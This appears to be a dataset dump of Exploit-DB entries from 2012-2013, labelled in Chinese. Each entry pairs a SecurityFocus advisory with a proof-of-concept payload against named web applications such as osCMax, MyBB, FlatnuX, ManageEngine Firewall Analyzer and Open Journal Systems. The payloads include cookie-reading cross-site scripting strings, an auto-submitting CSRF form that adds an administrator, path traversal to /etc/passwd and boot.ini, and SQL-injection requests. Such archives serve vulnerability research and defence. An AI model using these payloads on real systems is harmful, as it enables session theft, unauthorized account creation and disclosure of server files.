QLWD/code_shield huggingface dataset:
标题: Arbor Networks Peakflow SP 3.6.1 - 'index/' Cross-Site Scripting EDB-ID: 37037 CVE: 2012-4685 类型: REMOTE 平台: HARDWARE 发布日期: 2012-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/52881/info

Peakflow SP is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

https://www.example.com/index/"onmouseover="alert(666) URL: https://www.exploit-db.com/exploits/37037
标题: osCMax 2.5 - '/admin/stats_monthly_sales.php?status' Cross-Site Scripting EDB-ID: 37042 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
    
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_monthly_sales.php?status=%27%3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E URL: https://www.exploit-db.com/exploits/37042
标题: osCMax 2.5 - '/admin/htaccess.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37039 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
 
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/htaccess.php" method="post" name="main" id="main">
<input type="hidden" name="sb_id" value='"><script>alert(1);</script>'>
<input type="hidden" name="sb_key" value='"><script>alert(2);</script>'>
<input type="hidden" name="gc_id" value='"><script>alert(3);</script>'>
<input type="hidden" name="gc_key" value='"><script>alert(4);</script>'>
<input type="hidden" name="path" value='"><script>alert(5);</script>'>
<input type="submit" name="submit" value="Send">
</form> URL: https://www.exploit-db.com/exploits/37039
标题: ManageEngine Firewall Analyzer 7.2 - 'fw/syslogViewer.do?port' Cross-Site Scripting EDB-ID: 37032 CVE: 2012-4889 类型: WEBAPPS 平台: JAVA 发布日期: 2012-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/52841/info
   
Firewall Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
   
Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. 

http://www.example.com/fw/syslogViewer.do?port=%22%3E%3Cscript%3Ealert%28vlab%29%3C/script%3E URL: https://www.exploit-db.com/exploits/37032
标题: osCMax 2.5 - '/admin/xsell.php?search' Cross-Site Scripting EDB-ID: 37040 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
  
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/xsell.php?search=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37040
标题: ManageEngine Firewall Analyzer 7.2 - 'fw/mindex.do?url' Cross-Site Scripting EDB-ID: 37031 CVE: 2012-4889 类型: WEBAPPS 平台: JAVA 发布日期: 2012-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/52841/info
  
Firewall Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. 

http://www.example.com/fw/mindex.do?url=%22%3E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3EliveReportDash%22%3E
%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3E&subTab=%22%3E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3Elive&tab=%22%3
E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3Ereport URL: https://www.exploit-db.com/exploits/37031
标题: FlatnuX CMS - Cross-Site Request Forgery (Add Admin) EDB-ID: 37035 CVE: 2012-4877 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/52846/info
 
Flatnux is prone to multiple security vulnerabilities:
 
1. An HTML-injection vulnerability
2. A cross-site request-forgery vulnerability
3. A directory-traversal vulnerability
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, obtain sensitive information, or control how the site is rendered to the user. Other attacks are also possible.
 
The following versions are vulnerable:
 
Flatnux 2011-08.09.2
Flatnux 2011-2012-01.03.3
Flatnux 2011-minimal-2012-01.03.3
Fncommerce 2010-08-09-no-db
Fncommerce 2010-08-09-no-sample-data
Fncommerce 2010-08-09-with-sample-data
Fncommerce 2010-12-17-no-db
Fncommerce 2010-12-17-no-sample-data
Fncommerce 2010-12-17-with-sample-data 

<html>
<form  name="test" 
action="http://www.example.com/flatnux/controlcenter.php?page___xdb_fn_users=1&order___xdb_fn_users=username&desc___xdb_fn_users=&op___xdb_fn_users=insnew&page___
xdb_fn_users=&op=editdata&opt=utilities/xmldb_admin&t=fn_users" method="post">
<input type="hidden" name="username" value="csrf"><br/>
<input type="hidden" name="email" value="csrf () hotmail com"><br/>
<input type="hidden" name="passwd" value="186911"><br/>
<input type="hidden" name="passwd_retype" value="186911"><br/>
<input type="hidden" name="name" value="csrf"><br/>
<input type="hidden" name="surname" value="Mr"><br/>
<input type="hidden" name="link" value="http"><br/>
<input type="hidden" name="avatarimage" value=""><br/>
<input type="hidden" name="avatar" value=""><br/>
<input type="hidden" name="save___xdb_fn_users" value="__xdb_fn_users"><br\>
<input type="hidden" name="activ" value=1><br/>
</form>
<script>document.test.submit();</script>
</html> URL: https://www.exploit-db.com/exploits/37035
标题: osCMax 2.5 - '/admin/login.php?Username' Cross-Site Scripting EDB-ID: 37038 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info

osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="'<script>alert(document.cookie);</script>">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form> URL: https://www.exploit-db.com/exploits/37038
标题: osCMax 2.5 - '/admin/stats_customers.php?sorted' Cross-Site Scripting EDB-ID: 37043 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
     
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_customers.php?sorted=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E URL: https://www.exploit-db.com/exploits/37043
标题: FlatnuX CMS - Traversal Arbitrary File Access EDB-ID: 37034 CVE: 2012-4878 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/52846/info

Flatnux is prone to multiple security vulnerabilities:

1. An HTML-injection vulnerability
2. A cross-site request-forgery vulnerability
3. A directory-traversal vulnerability

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, obtain sensitive information, or control how the site is rendered to the user. Other attacks are also possible.

The following versions are vulnerable:

Flatnux 2011-08.09.2
Flatnux 2011-2012-01.03.3
Flatnux 2011-minimal-2012-01.03.3
Fncommerce 2010-08-09-no-db
Fncommerce 2010-08-09-no-sample-data
Fncommerce 2010-08-09-with-sample-data
Fncommerce 2010-12-17-no-db
Fncommerce 2010-12-17-no-sample-data
Fncommerce 2010-12-17-with-sample-data 

http://www.example.com/flatnux/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open URL: https://www.exploit-db.com/exploits/37034
标题: ManageEngine Firewall Analyzer 7.2 - '/fw/index2.do' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37029 CVE: 2012-4889 类型: WEBAPPS 平台: JAVA 发布日期: 2012-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/52841/info

Firewall Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. 

http://www.example.com/fw/index2.do?url=adminHome&tab=system%22%3E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3El URL: https://www.exploit-db.com/exploits/37029
标题: Simple Machines Forum (SMF) 2.0.2 - 'scheduled' Cross-Site Scripting EDB-ID: 37027 CVE: 2012-5903 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/52822/info

Simple Machines Forum is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Simple Machines Forum 2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?scheduled=[Xss] URL: https://www.exploit-db.com/exploits/37027
标题: ManageEngine Firewall Analyzer 7.2 - 'fw/createAnomaly.do?subTab' Cross-Site Scripting EDB-ID: 37030 CVE: 2012-4889 类型: WEBAPPS 平台: JAVA 发布日期: 2012-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/52841/info
 
Firewall Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. 

http://www.example.com.com/fw/createAnomaly.do?subTab=%22%3E%3Cscript%3Ealert%281337%29%3C/script%3EaddAlert&;
tab=alert%22%3E%3Cscript%3Ealert%28vlab%29%3C/script%3E&demoConfigure=true URL: https://www.exploit-db.com/exploits/37030
标题: MyBB 1.6.6 - 'index.php?conditions[usergroup][]' Cross-Site Scripting EDB-ID: 37019 CVE: 2012-5908 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52743/info
 
MyBB is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.
 
Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
MyBB 1.6.6 is vulnerable; other versions may also be affected. 

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2<script>document.write(Date())</script>&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card URL: https://www.exploit-db.com/exploits/37019
标题: TomatoCart 1.2.0 Alpha 2 - 'json.php' Local File Inclusion EDB-ID: 37021 CVE: 2012-5907 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/52766/info

TomatoCart is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

TomatoCart 1.2.0 Alpha 2 is vulnerable; other versions may also be affected. 

http://www.example.com/json.php?action=3&module=../../../../../../../../../../../../../../boot.ini%00 URL: https://www.exploit-db.com/exploits/37021
标题: EZ Publish 4.x 'ezjscore' Module - Cross-Site Scripting EDB-ID: 37024 CVE: 2012-1597 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/52807/info

eZ Publish is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eZ Publish 4.6 is vulnerable; other versions may also be affected. 

http://www.example.com/ezjscore/call<img%20src%3Dlien%20onerror%3Dalert(document.cookie)>/ezjsc:time URL: https://www.exploit-db.com/exploits/37024
标题: ocPortal 7.1.5 - 'code_editor.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37022 CVE: 2012-1470 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/52768/info

ocPortal is prone to multiple cross-site scripting vulnerabilities and an arbitrary file-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information.

ocPortal versions prior to 7.1.6 are vulnerable. 

http://www.example.com/code_editor.php?path=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/code_editor.php?path&line=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/site/catalogue_file.php?original_filename=1.txt&file=%252e%252e%252f%252e%252e%252finfo.php URL: https://www.exploit-db.com/exploits/37022
标题: MyBB 1.6.6 - 'index.php?conditions[usergroup][]' SQL Injection EDB-ID: 37018 CVE: 2012-5909 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52743/info

MyBB is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyBB 1.6.6 is vulnerable; other versions may also be affected. 

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=1332694756; mybb[lastactive]=1332699650; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2'&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=
&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card URL: https://www.exploit-db.com/exploits/37018
标题: WordPress Plugin Integrator 1.32 - 'redirect_to' Cross-Site Scripting EDB-ID: 37016 CVE: 2012-5913 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/52739/info

WordPress Integrator is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WordPress Integrator 1.32 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-login.php?redirect_to=http://%3F1<ScrIpT>alert(666)</ScrIpT> URL: https://www.exploit-db.com/exploits/37016
标题: NextBBS 0.6 - 'ajaxserver.php' Multiple SQL Injections EDB-ID: 37012 CVE: 2012-1603 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52728/info

NextBBS is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and an authentication-bypass vulnerability.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and bypass the authentication process to gain unauthorized access to the system.

NextBBS 0.6.0 is vulnerable; other versions may also be affected. 

http://www.example.com/nextbbs.0.6.0/?do=ajaxserver&action=findusers&curstr=war%2527axe
http://www.example.com/nextbbs.0.6.0/?do=ajaxserver&action=isidavailable&id=war%2527axe
http://www.example.com/nextbbs.0.6.0/?do=ajaxserver&action=getgreetings&username=war%2527axe URL: https://www.exploit-db.com/exploits/37012
标题: NextBBS 0.6 - 'index.php?do' Cross-Site Scripting EDB-ID: 37013 CVE: 2012-1604 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52728/info
 
NextBBS is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and an authentication-bypass vulnerability.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and bypass the authentication process to gain unauthorized access to the system.
 
NextBBS 0.6.0 is vulnerable; other versions may also be affected. 

http://www.example.com/nextbbs.0.6.0/index.php?do=<body+onload=alert(document.cookie);> URL: https://www.exploit-db.com/exploits/37013
标题: Open Journal Systems (OJS) 2.3.6 - '/lib/pkp/classes/core/String.inc.php?String::stripUnsafeHtml()' Method Cross-Site Scripting EDB-ID: 37000 CVE: 2012-1469 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/52666/info
  
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
  
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
  
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

On the following URL:
http://www.example.com/index.php/[journal]/author/submit/3?articleId=[id]
the attacker should inject malicious scripting code to the "Bio Statement" or "Abstract of Submission" fields:
<img src="x"/onerror=alert(document.cookie)>
or (browser specific):
<img style="width:expression(alert(document.cookie));"></a>
The stored XSS will be displayed here:
http://www.example.com/index.php/[submission]/author/submission/[id] URL: https://www.exploit-db.com/exploits/37000